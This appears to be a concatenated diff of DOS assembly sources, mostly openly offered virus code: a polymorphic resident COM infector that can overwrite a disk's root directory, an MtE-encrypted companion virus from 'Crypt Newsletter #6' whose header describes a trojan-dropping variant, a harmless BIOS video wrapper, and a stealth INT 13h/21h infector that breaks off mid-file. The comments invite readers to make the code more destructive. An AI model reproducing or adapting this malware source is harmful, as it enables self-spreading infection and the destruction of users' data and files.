||||
push si
|
||||
xor di,di
|
||||
mov cx,virlength ; 1024 bytes
|
||||
cld
|
||||
rep movsb
|
||||
pop si
|
||||
push bx
|
||||
mov bx,offset highentry
|
||||
push es
|
||||
push bx
|
||||
retf ; jmp to highentry in
|
||||
; high memory
|
||||
highentry:
|
||||
mov es,ax ; es->PSP
|
||||
mov ax,cs:filesize
|
||||
add ax,100h ; find stored area
|
||||
mov di,si
|
||||
mov si,ax
|
||||
mov cx,virlength
|
||||
rep movsb ; and restore over virus code
|
||||
pop es ; MCB
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds -> interrupt table
|
||||
sti
|
||||
cmp word ptr ds:21h*4,offset int21 ; already resident?
|
||||
jne go_resident
|
||||
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
|
||||
dw 0 - reslength ;alter memory size
|
||||
test byte ptr ds:[46Ch],0E7h ;1.17% chance of activation
|
||||
jnz exit_virus
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset message ; "Insane Reality.."
|
||||
display_loop: ; display ASCIIZ string
|
||||
lodsb ; get next character
|
||||
or al,0 ; exit if 0
|
||||
jz exit_display_loop
|
||||
mov ah,0Eh ; otherwise write character
|
||||
int 10h
|
||||
|
||||
jmp short display_loop
|
||||
exit_display_loop:
|
||||
mov ah,32h ; Get DPB -> DS:BX
|
||||
xor dl,dl
|
||||
int 21h
|
||||
jc exit_virus ; exit on error
|
||||
|
||||
call getint13and24
|
||||
call setint13and24
|
||||
mov dx,[bx+10h] ; first sector of root
|
||||
; directory
|
||||
; BUG: won't work in DOS 4+
|
||||
mov ah,19h ; default drive -> al
|
||||
int 21h
|
||||
|
||||
mov cx,2 ; Overwrite root directory
|
||||
int 26h ; Direct write..
|
||||
|
||||
pop bx
|
||||
call setint13and24 ; restore int handlers
|
||||
exit_virus:
|
||||
jmp returnCOM
|
||||
go_resident:
|
||||
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
|
||||
dw 0 - reslength ;alter top of memory in PSP
|
||||
mov bx,ds:46Ch ;BX = random #
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov runningflag,1 ; reset flag
|
||||
and bh,80h
|
||||
mov nothing1,bh
|
||||
mutate1:
|
||||
test bl,1
|
||||
jnz mutate2
|
||||
mov si,offset mutatearea1
|
||||
add si,evenodd
|
||||
lodsb
|
||||
xchg al,[si] ; swap instructions
|
||||
mov [si-1],al
|
||||
mutate2:
|
||||
test bl,2
|
||||
jnz mutate3
|
||||
mov si,offset mutatearea2
|
||||
add si,evenodd
|
||||
lodsw
|
||||
xchg ax,[si] ; swap instructions
|
||||
mov [si-2],ax
|
||||
mutate3:
|
||||
test bl,4
|
||||
jnz mutate4
|
||||
mov si,offset mutatearea3
|
||||
mov al,2
|
||||
xor [si],al ; flip between ax & dx
|
||||
xor [si+2],al
|
||||
xor [si+3],al
|
||||
mutate4:
|
||||
test bl,8
|
||||
jnz findint21
|
||||
mov si,offset next
|
||||
mov di,offset readbuffer
|
||||
mov cx,offset enter_leech
|
||||
push si
|
||||
push di
|
||||
lodsb
|
||||
cmp al,5Eh ; 1 byte pop si?
|
||||
je now_single_byte_encode
|
||||
inc si ; skip second byte of two
|
||||
; byte encoding of pop si
|
||||
now_single_byte_encode:
|
||||
push cx
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop di
|
||||
cmp al,5Eh ; 1 byte pop si?
|
||||
je encode_two_bytes ; then change to 2
|
||||
mov al,5Eh ; encode a pop si
|
||||
stosb
|
||||
rep movsb ; then copy decrypt over
|
||||
mov al,90h ; plus a nop to keep virus
|
||||
stosb ; length constant
|
||||
xor ax,ax ; clear the flag
|
||||
jmp short set_evenodd_flag
|
||||
encode_two_bytes:
|
||||
mov ax,0C68Fh ; encode a two byte form of
|
||||
stosw ; pop si
|
||||
rep movsb
|
||||
mov ax,1 ; set evenodd flag
|
||||
set_evenodd_flag:
|
||||
mov cs:evenodd,ax
|
||||
findint21:
|
||||
mov ah,30h ; Get DOS version
|
||||
int 21h
|
||||
|
||||
cmp ax,1E03h ; DOS 3.30?
|
||||
jne notDOS33
|
||||
|
||||
mov ah,34h ; Get DOS critical error ptr
|
||||
int 21h
|
||||
|
||||
mov bx,1460h ; int 21h starts here
|
||||
jmp short alterint21
|
||||
notDOS33:
|
||||
mov ax,3521h ;just get current int 21 handler
|
||||
int 21h
|
||||
alterint21:
|
||||
mov oldint21,bx
|
||||
mov word ptr ds:oldint21+2,es
|
||||
mov si,21h*4 ; save old int 21 handler
|
||||
pop ds ; found in interrupt table
|
||||
push si
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset topint21
|
||||
movsw
|
||||
movsw
|
||||
pop di ; and put new one in
|
||||
push ds
|
||||
pop es
|
||||
mov ax,offset int21
|
||||
stosw
|
||||
mov ax,cs
|
||||
stosw
|
||||
|
||||
mov di,offset startencrypt
|
||||
mov al,cs:encrypt_value1 ; decrypt original
|
||||
decryptcode: ; program code
|
||||
xor cs:[di],al
|
||||
inc di
|
||||
cmp di,offset decryptcode
|
||||
jb decryptcode
|
||||
returnCOM:
|
||||
mov ah,62h ; Get current PSP
|
||||
int 21h
|
||||
|
||||
push bx ; restore segment registers
|
||||
mov ds,bx
|
||||
mov es,bx
|
||||
mov ax,100h
|
||||
push ax
|
||||
retf ; Return to PSP:100h
|
||||
|
||||
infect:
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
cld
|
||||
push cs
|
||||
pop ds
|
||||
xor dx,dx ; go to start of file
|
||||
call movefilepointer
|
||||
mov dx,offset readbuffer ; and read 3 bytes
|
||||
mov ah,3Fh
|
||||
mov cx,3
|
||||
call callint21
|
||||
jc exiterror
|
||||
|
||||
xor di,di
|
||||
mov ax,readbuffer
|
||||
mov cx,word ptr ds:[0]
|
||||
cmp cx,ax ; check if already infected
|
||||
je go_exitinfect
|
||||
cmp al,0EBh ; jmp short?
|
||||
jne checkifJMP
|
||||
mov al,ah
|
||||
xor ah,ah
|
||||
add ax,2
|
||||
mov di,ax ; di = jmp location
|
||||
checkifJMP:
|
||||
cmp al,0E9h ; jmp?
|
||||
jne checkifEXE ; nope
|
||||
mov ax,word ptr readbuffer+1
|
||||
add ax,3
|
||||
mov di,ax ; di = jmp location
|
||||
xor ax,ax
|
||||
checkifEXE:
|
||||
cmp ax,'MZ'
|
||||
je exiterror
|
||||
cmp ax,'ZM'
|
||||
jne continue_infect
|
||||
exiterror:
|
||||
stc
|
||||
go_exitinfect:
|
||||
jmp short exitinfect
|
||||
nop
|
||||
continue_infect:
|
||||
mov dx,di
|
||||
push cx
|
||||
call movefilepointer ; go to jmp location
|
||||
mov dx,virlength ; and read 1024 more bytes
|
||||
mov ah,3Fh
|
||||
mov cx,dx
|
||||
call callint21
|
||||
pop cx
|
||||
jc exiterror
|
||||
cmp readbuffer,cx
|
||||
je go_exitinfect
|
||||
mov ax,di
|
||||
sub ah,0FCh
|
||||
cmp ax,filesize
|
||||
jae exiterror
|
||||
mov dx,filesize
|
||||
call movefilepointer
|
||||
mov dx,virlength ; write virus to middle
|
||||
mov cx,dx ; of file
|
||||
mov ah,40h
|
||||
call callint21
|
||||
jc exitinfect
|
||||
mov dx,di
|
||||
call movefilepointer
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset readbuffer
|
||||
push di
|
||||
push di
|
||||
xor si,si
|
||||
mov cx,di
|
||||
rep movsb
|
||||
mov si,offset encrypt_value2
|
||||
mov al,encrypted_file
|
||||
encryptfile: ; encrypt infected file
|
||||
xor [si],al
|
||||
inc si
|
||||
cmp si,7FFh
|
||||
jb encryptfile
|
||||
pop cx
|
||||
pop dx
|
||||
mov ah,40h ; and write it to end of file
|
||||
call callint21
|
||||
exitinfect:
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
retn
|
||||
|
||||
int21:
|
||||
cmp ax,4B00h ; Execute?
|
||||
je execute
|
||||
cmp ah,3Eh ; Close?
|
||||
je handleclose
|
||||
cmp ah,11h ; Find first?
|
||||
je findfirstnext
|
||||
cmp ah,12h ; Find next?
|
||||
je findfirstnext
|
||||
exitint21:
|
||||
db 0EAh ; jmp far ptr
|
||||
topint21 dw 0, 0
|
||||
|
||||
findfirstnext:
|
||||
push si
|
||||
mov si,offset topint21
|
||||
pushf
|
||||
call dword ptr cs:[si] ; call int 21 handler
|
||||
pop si
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,2Fh ; Get DTA
|
||||
call callint21
|
||||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||||
jne noextendedFCB
|
||||
add bx,7 ; convert to normal
|
||||
noextendedFCB:
|
||||
mov ax,es:[bx+17h] ; Get time
|
||||
and ax,1Fh ; and check infection stamp
|
||||
cmp ax,1Eh
|
||||
jne exitfindfirstnext
|
||||
mov ax,es:[bx+1Dh]
|
||||
cmp ax,virlength * 2 + 1 ; too small for infection?
|
||||
jb exitfindfirstnext ; then not infected
|
||||
sub ax,virlength ; alter file size
|
||||
mov es:[bx+1Dh],ax
|
||||
exitfindfirstnext:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
iret
|
||||
|
||||
int24:
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
callint21:
|
||||
pushf
|
||||
call dword ptr cs:oldint21
|
||||
retn
|
||||
|
||||
movefilepointer:
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call callint21
|
||||
retn
|
||||
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
mov cs:runningflag,0
|
||||
mov ax,3D00h ; open file read/only
|
||||
call callint21
|
||||
mov bx,ax
|
||||
mov ah,3Eh ; close file
|
||||
int 21h ; to trigger infection
|
||||
|
||||
pop bx
|
||||
pop ax
|
||||
go_exitint21:
|
||||
jmp short exitint21
|
||||
|
||||
handleclose:
|
||||
or cs:runningflag,0 ; virus currently active?
|
||||
jnz go_exitint21
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
call getint13and24
|
||||
call setint13and24
|
||||
; convert handle to filename
|
||||
mov ax,1220h ; get job file table entry
|
||||
int 2Fh
|
||||
jc handleclose_noinfect ; exit on error
|
||||
|
||||
mov ax,1216h ; get address of SFT
|
||||
mov bl,es:[di]
|
||||
xor bh,bh
|
||||
int 2Fh ; es:di->file entry in SFT
|
||||
|
||||
mov ax,es:[di+11h]
|
||||
mov cs:filesize,ax ; save file size,
|
||||
mov ax,es:[di+0Dh]
|
||||
and al,0F8h
|
||||
mov cs:timestore,ax ; time,
|
||||
mov ax,es:[di+0Fh]
|
||||
mov cs:datestore,ax ; and date
|
||||
cmp word ptr es:[di+29h],'MO' ; check for COM extension
|
||||
jne handleclose_noinfect
|
||||
cmp byte ptr es:[di+28h],'C'
|
||||
jne handleclose_noinfect
|
||||
cmp cs:filesize,0FA00h ; make sure not too large
|
||||
jae handleclose_noinfect
|
||||
mov al,20h ; alter file attribute
|
||||
xchg al,es:[di+4]
|
||||
mov ah,2 ; alter open mode to
|
||||
xchg ah,es:[di+2] ; read/write
|
||||
pop bx
|
||||
push bx
|
||||
push ax
|
||||
call infect
|
||||
pop ax
|
||||
mov es:[di+4],al ; restore file attribute
|
||||
mov es:[di+2],ah ; and open mode
|
||||
mov cx,cs:timestore
|
||||
jc infection_not_successful
|
||||
or cl,1Fh ; make file infected in
|
||||
and cl,0FEh ; seconds field
|
||||
infection_not_successful:
|
||||
mov dx,cs:datestore ; restore file time/date
|
||||
mov ax,5701h
|
||||
call callint21
|
||||
handleclose_noinfect:
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
call callint21
|
||||
call setint13and24
|
||||
retf 2 ; exit with flags intact
|
||||
|
||||
getint13and24:
|
||||
mov ah,13h ; Get BIOS int 13h handler
|
||||
int 2Fh
|
||||
mov cs:oldint13,bx
|
||||
mov cs:oldint13+2,es
|
||||
|
||||
int 2Fh ; Restore it
|
||||
|
||||
mov cs:oldint24,offset int24
|
||||
mov cs:oldint24+2,cs
|
||||
retn
|
||||
|
||||
setint13and24:
|
||||
push ax
|
||||
push si
|
||||
push ds
|
||||
pushf
|
||||
cli
|
||||
cld
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds->interrupt table
|
||||
|
||||
mov si,13h*4
|
||||
lodsw
|
||||
xchg ax,cs:oldint13 ; replace old int 13 handler
|
||||
mov [si-2],ax ; with original BIOS handler
|
||||
lodsw
|
||||
xchg ax,cs:oldint13+2
|
||||
mov [si-2],ax
|
||||
|
||||
mov si,24h*4 ; replace old int 24 handler
|
||||
lodsw ; with our own handler
|
||||
xchg ax,cs:oldint24
|
||||
mov [si-2],ax
|
||||
lodsw
|
||||
xchg ax,cs:oldint24+2
|
||||
mov [si-2],ax
|
||||
popf
|
||||
pop ds
|
||||
pop si
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Okey..don't change the text to much here, cuz the virus will refuse
|
||||
; to work correctly if you writes to many chars..If you wanna modify
|
||||
; this virus, make it a bit more destructive than it already is. I
|
||||
; love destructive codes..It reminds me of my Brain..(??) <grin>..
|
||||
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
message db 'Insane Reality.. ', 0 ; Mutation name..
|
||||
db 'The Unforgiven / IR.. ' ; That's me..
|
||||
|
||||
db 0, 0, 0, 0, 0
|
||||
|
||||
encrypt_value1 db 0
|
||||
readbuffer dw 0
|
||||
db 253 dup (0)
|
||||
|
||||
nothing1 db 0
|
||||
db 152 dup (0)
|
||||
encrypt_value2 db 0
|
||||
db 614 dup (0)
|
||||
encrypted_file db 0
|
||||
db 1280 dup (0)
|
||||
carrier:
|
||||
dw 20CDh
|
||||
|
||||
end leech
|
||||
|
||||
; Greetings goes out to Raver, Metal Militia, Scavenger,
|
||||
; and all the others livi'n in the Insane Reality of today.
|
||||
@@ -0,0 +1,178 @@
|
||||
;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
|
||||
;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
|
||||
;confines itself to the current directory. To assemble with TASM 2.5, user
|
||||
;must have complete MTE091B software package (including RND.OBJ,
|
||||
;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
|
||||
;issue of the Crypt Newsletter to assemble all proper
|
||||
;components. Observant readers will notice INSUFF MEMO takes advantage of
|
||||
;VCL 1.0 code as well as notation from the SARA virus. INSUFF MEMO is
|
||||
;a non-threatening, unique example of an MtE-loaded companion virus -
|
||||
;the only one in circulation, in fact.
|
||||
;
|
||||
;INSUFF2, included as a DEBUG script in this newsletter, is functionally
|
||||
;identical to this virus. However, for those who 'require' a destructive
|
||||
;program for their full enjoyment, it is loaded with a routine which
|
||||
;simple checks the system time and branches to some 'dropper' code if
|
||||
;after quitting time (4:00 pm). The 'dropper' reads from a data table
|
||||
;and writes the NOIZ trojan to any .EXE in the current directory. By
|
||||
;looking carefully at this code, several areas where 'potentially'
|
||||
;destructive/nuisance routines can be added will suggest themselves.
|
||||
;We do not include them for a number of reasons: 1) they are easy to
|
||||
;come by in any number of books on assembly coding, the VCL 1.0 (an
|
||||
;excellent source), or source code archives on mnay BBS's, and; 2)
|
||||
;it allows you to get creative if you want and tinker (like I do all the
|
||||
; time) with the basic layout of virus source.
|
||||
;
|
||||
;INSUFF3's source listing is modified to allow the virus to jump out
|
||||
;of the current directory when all files in it are infected. The
|
||||
;listing is publicly available at the BBS's listed at the end of the
|
||||
;Crypt newsletter.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100
|
||||
|
||||
start:
|
||||
call locadr
|
||||
|
||||
reladr:
|
||||
db 'Insufficient memory'
|
||||
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di ;
|
||||
push cs ;A carry over from the DAV
|
||||
pop ds ;SARA virus, something of a curiosity
|
||||
;in this companion virus
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
mov ax,3524 ;Hook INT 24, error handler
|
||||
int 21 ;see bottom of code
|
||||
push es bx
|
||||
mov dx,offset fail_err
|
||||
mov ax,2524
|
||||
int 21
|
||||
|
||||
xor ax,ax ;Initialize random seed for MtE
|
||||
mov [rnd_buf],ax ;could be coded, mov cs:[rnd_buf],0
|
||||
push sp ;process necessary for generation of
|
||||
pop cx ;MtE encryption key - see MtE docs
|
||||
sub cx,sp ;for further notation
|
||||
add cx,4
|
||||
push cx
|
||||
mov dx,offset srchnam ;EXE file-mask for spawn-name search
|
||||
mov cl,3
|
||||
mov ah,4e ; DOS find first file function
|
||||
|
||||
find_a_file:
|
||||
int 021h
|
||||
jc infection_done ; Exit if no files found
|
||||
jmp infect ; Infect the file!
|
||||
jnc infection_done ; Exit if no error
|
||||
findr: mov ah,04Fh ; DOS find next file function
|
||||
jmp find_a_file ; Try finding another file
|
||||
|
||||
|
||||
infection_done:
|
||||
|
||||
mov ax,4C00h ;terminate
|
||||
int 21h
|
||||
|
||||
infect:
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov di,bx ; DI points to the DTA
|
||||
|
||||
lea si,[di + 01Eh] ; SI points to file name
|
||||
mov dx,si ; DX points to file name, too
|
||||
mov di,offset spawn_name + 1; DI points to new name
|
||||
xor ah,ah ; AH holds character count
|
||||
transfer_loop:
|
||||
lodsb ; Load a character
|
||||
or al,al ; Is it a NULL?
|
||||
je transfer_end ; If so then leave the loop
|
||||
inc ah ; Add one to the character count
|
||||
stosb ; Save the byte in the buffer
|
||||
jmp short transfer_loop ; Repeat the loop
|
||||
transfer_end:
|
||||
mov byte ptr [spawn_name],ah; First byte holds char. count
|
||||
mov byte ptr [di],13 ; Make CR the final character
|
||||
mov di,dx ; DI points to file name
|
||||
xor ch,ch ;
|
||||
mov cl,ah ; CX holds length of filename
|
||||
mov al,'.' ; AL holds char. to search for
|
||||
repne scasb ; Search for a dot in the name
|
||||
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
||||
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
int 021h
|
||||
jnc findr ; File already exists, so leave
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
mov ah,03Ch ; DOS create file function
|
||||
mov cx,00100111b ; CX holds file attributes (all)
|
||||
int 21h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
push dx cx
|
||||
mov ax,offset data_top+0Fh
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov cx,cs
|
||||
add ax,cx
|
||||
mov es,ax
|
||||
mov dx,offset start ; DX points to start of virus
|
||||
mov cx,offset _DATA ; CX holds virus length for encryption
|
||||
push bp bx
|
||||
mov bp,0100h ;tells MtE decryption routine will
|
||||
xor si,si ;hand over control to where virus adds
|
||||
xor di,di ;itself to 'infected' file, in this case offset
|
||||
mov bl,0Fh ;0100h .. set si/di to 0, bl to 0Fh, all required
|
||||
mov ax,101 ;set bit-field in ax
|
||||
call mut_engine ;call the Mutation Engine to do its thing
|
||||
pop bx ax
|
||||
add ax,cx
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add ax,cx
|
||||
mov ah,040h ;write encrypted virus to newly created file
|
||||
int 21h
|
||||
mov ah,03Eh ;close the file
|
||||
int 21h
|
||||
cmp byte ptr [set_carry],1
|
||||
jmp infection_done ;move to end game
|
||||
|
||||
|
||||
|
||||
fail_err: ;Critical error handler
|
||||
mov al,3 ;prevents virus from producing
|
||||
iret ;messages on write-protected disks.
|
||||
;Not handed back to machine when virus exits.
|
||||
srchnam db '*.EXE',0 ;File-mask for 'spawn-search.'
|
||||
|
||||
|
||||
|
||||
.data
|
||||
|
||||
dta_buf db 2bh dup(?) ; Buffer for DTA
|
||||
spawn_name db 12,12 dup (?),13 ; Name for next spawn
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,47 @@
|
||||
DOSCALL SEGMENT 'CODE'
|
||||
ASSUME CS:DOSCALL,DS:DOSCALL
|
||||
;
|
||||
;Procedure DOSVIO(VAR: AX, BX, CX, DX: Word);
|
||||
;
|
||||
; Issue a DOS VIDEO I/O INT (10) with register values set by caller
|
||||
;
|
||||
; FRAME: ADR AX; 12
|
||||
; ADR BX; 10
|
||||
; ADR CX; 08
|
||||
; ADR DX; 06
|
||||
; <RET BP>; 00
|
||||
;
|
||||
PUBLIC DOSVIO
|
||||
DOSVIO PROC FAR
|
||||
PUSH BP ;Save current BP value
|
||||
MOV BP,SP ;To address parms
|
||||
MOV DI,[BP+12] ;Address of AX
|
||||
MOV AX,[DI] ;Set AX value
|
||||
MOV DI,[BP+10] ;Address of BX
|
||||
MOV BX,[DI] ;Set BX value
|
||||
MOV DI,[BP+08] ;Address of CX
|
||||
MOV CX,[DI] ;Set CX value
|
||||
MOV DI,[BP+06] ;Address of DX
|
||||
MOV DX,[DI] ;Set DX value
|
||||
|
||||
INT 10H ;Call BIOS with caller's AX, BX, CX, DX
|
||||
|
||||
MOV DI,[BP+12] ;Now put them all back...
|
||||
MOV [DI],AX
|
||||
MOV DI,[BP+10]
|
||||
MOV [DI],BX
|
||||
MOV DI,[BP+08]
|
||||
MOV [DI],CX
|
||||
MOV DI,[BP+06]
|
||||
MOV [DI],DX
|
||||
|
||||
POP BP ;Restore frame pointer
|
||||
RET 6 ;Return, poping 6 bytes
|
||||
|
||||
DOSVIO ENDP
|
||||
|
||||
DOSCALL ENDS
|
||||
END
|
||||
|
||||
*** CREATED 06/28/82 21:05:48 BY AMD ***
|
||||
|
||||
@@ -0,0 +1,310 @@
|
||||
Code Segment
|
||||
Assume CS:Code
|
||||
|
||||
Old13 = 9Ch
|
||||
True13 = 9Dh
|
||||
Saved21 = 9Eh
|
||||
Temp13 = 9Fh
|
||||
|
||||
VStart: loop Next ; Virus ID
|
||||
Next: push ax
|
||||
mov di,13h * 4
|
||||
push di
|
||||
xor bp,bp
|
||||
mov ds,bp
|
||||
les bx,[di]
|
||||
mov di,True13 * 4
|
||||
mov [di-4],bx
|
||||
mov [di-2],es
|
||||
mov ah,13h
|
||||
int 2Fh
|
||||
push es
|
||||
push bx
|
||||
int 2Fh
|
||||
mov es,bp
|
||||
mov si,21h * 4
|
||||
pop ax
|
||||
stosw
|
||||
pop ax
|
||||
stosw
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
mov ah,52h
|
||||
int 21h
|
||||
push es
|
||||
pop ds
|
||||
les ax,[bx+12h] ; ax is now 0000h, i.e. ah is 0.
|
||||
push word ptr es:[bp+2]
|
||||
mov si,100h
|
||||
mov cx,si
|
||||
mov di,bp
|
||||
push si
|
||||
rep movs word ptr es:[di], cs:[si]
|
||||
pop si
|
||||
pop word ptr ds:[bx+14h]
|
||||
push es
|
||||
mov al, offset Continue ; Let's use it!
|
||||
push ax
|
||||
retf
|
||||
|
||||
SavedCX dw 1
|
||||
SavedDX dw 0
|
||||
SavedBX dw 0
|
||||
SavedES dw 0
|
||||
|
||||
FileWord dw 0
|
||||
|
||||
SCX = offset SavedCX - offset VStart
|
||||
SDX = offset SavedDX - offset VStart
|
||||
|
||||
Continue: mov es,bp
|
||||
pop di
|
||||
mov al,offset Int21 ; Two times!
|
||||
stosw
|
||||
mov es:[di],cs
|
||||
pop di
|
||||
mov al,offset Int13 ; Three times!
|
||||
stosw
|
||||
mov es:[di],cs
|
||||
|
||||
mov es,[bp+2Ch] ; This assumes SS:
|
||||
mov di,bp
|
||||
xchg ax,bp
|
||||
dec cx
|
||||
ScanEnv: repne scasb
|
||||
scasb
|
||||
jnz ScanEnv
|
||||
scasw
|
||||
push es
|
||||
pop ds
|
||||
mov dx,di
|
||||
mov ah,3Dh
|
||||
int 21h
|
||||
jc NoStart
|
||||
mov dx,si
|
||||
xchg ax,bx
|
||||
mov ah,3Fh
|
||||
push ss
|
||||
pop ds
|
||||
int 21h
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
push ss
|
||||
push si
|
||||
push ss
|
||||
pop es
|
||||
retf
|
||||
|
||||
NoStart: mov ah,4Ch
|
||||
int 21h
|
||||
|
||||
Int13V: mov SavedBX,bx
|
||||
mov SavedCX,cx
|
||||
mov SavedDX,dx
|
||||
mov SavedES,es
|
||||
|
||||
Go13: int Old13
|
||||
jmp short RetF2
|
||||
|
||||
Int13: cmp ah,2
|
||||
jne Go13
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
push bx
|
||||
push dx
|
||||
int Old13
|
||||
pop dx
|
||||
jc Exit13
|
||||
cmp word ptr es:[bx],00E2h
|
||||
clc
|
||||
jne Exit13
|
||||
mov ax,202h
|
||||
mov cx,es:[bx+SCX]
|
||||
mov dh,byte ptr es:[bx+SDX+1]
|
||||
mov bx,0B800h
|
||||
mov ds,bx
|
||||
mov es,bx
|
||||
mov bh,78h
|
||||
int True13
|
||||
jc Exit13
|
||||
mov si,7A00h
|
||||
pop bx
|
||||
mov di,bx
|
||||
pop es
|
||||
mov cx,100h
|
||||
rep movsw
|
||||
jmp short Exit13_1
|
||||
Exit13: pop bx
|
||||
pop es
|
||||
Exit13_1: pop dx
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop ds
|
||||
RetF2: retf 2
|
||||
|
||||
Int21: cmp ah,12h
|
||||
je FindNext
|
||||
int Saved21
|
||||
jmp RetF2
|
||||
FindNext: int Saved21
|
||||
cmp al,0
|
||||
jnz RetF2
|
||||
push ax
|
||||
push bx
|
||||
push ds
|
||||
push es
|
||||
mov ah,2Fh
|
||||
int Saved21
|
||||
push es
|
||||
pop ds
|
||||
mov ax,'MO'
|
||||
cmp ax,[bx+17]
|
||||
jne Exit1
|
||||
cmp ax,[bx+9]
|
||||
je Exit1
|
||||
mov al,[bx+7]
|
||||
add al,'@'
|
||||
push cx
|
||||
push dx
|
||||
mov cx,[bx+36]
|
||||
mov dx,200h
|
||||
cmp cx,dx
|
||||
jb Exit2
|
||||
dec cx
|
||||
test ch,10b
|
||||
jz Infect
|
||||
cmp al,'C'
|
||||
jb Exit2
|
||||
test ch,100b
|
||||
jz Infect
|
||||
Exit2: pop dx
|
||||
pop cx
|
||||
Exit1: pop es
|
||||
pop ds
|
||||
pop bx
|
||||
pop ax
|
||||
jmp RetF2
|
||||
|
||||
Infect: push si
|
||||
push di
|
||||
push cs
|
||||
pop es
|
||||
mov di,dx
|
||||
lea si,[bx+8]
|
||||
mov ah,':'
|
||||
stosw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
mov al,'.'
|
||||
stosb
|
||||
movsw
|
||||
movsb
|
||||
xor ax,ax
|
||||
stosb
|
||||
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov si,13h * 4
|
||||
mov di,Temp13 * 4
|
||||
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr [si-4], offset Int13V
|
||||
mov [si-2], cs
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3Dh
|
||||
int Saved21
|
||||
xchg ax,bx
|
||||
mov ax,4202h
|
||||
mov cx,-1
|
||||
mov dx,cx
|
||||
int Saved21 ; DX must now be zero (.COM)
|
||||
Go: mov ah,3Fh
|
||||
mov dl,offset FileWord
|
||||
mov di,dx
|
||||
neg cx ; mov cx,1
|
||||
int Saved21
|
||||
push [di-8]
|
||||
push [di-6]
|
||||
mov ax,4200h
|
||||
xor cx,cx ; can it be inc cx ??
|
||||
xor dx,dx
|
||||
int Saved21
|
||||
mov ah,3Fh
|
||||
mov dx,di
|
||||
mov cl,2
|
||||
int Saved21
|
||||
mov ax,[di]
|
||||
pop dx
|
||||
pop cx
|
||||
cmp ax,00E2h
|
||||
je Close
|
||||
cmp ax,5A4Dh
|
||||
je Close
|
||||
mov ax,202h
|
||||
push cx
|
||||
push dx
|
||||
mov bx,0B800h
|
||||
mov es,bx
|
||||
mov bh,78h
|
||||
int True13
|
||||
lds si,[di-4]
|
||||
push di
|
||||
mov di,7A00h
|
||||
mov cx,100h
|
||||
rep movsw
|
||||
pop di
|
||||
mov ax,302h
|
||||
pop dx
|
||||
pop cx
|
||||
push cx
|
||||
push dx
|
||||
int True13
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,301h
|
||||
xchg cx,cs:[di-8]
|
||||
xchg dx,cs:[di-6]
|
||||
push cs
|
||||
pop es
|
||||
xor bx,bx
|
||||
int True13
|
||||
Close: mov ah,3Eh
|
||||
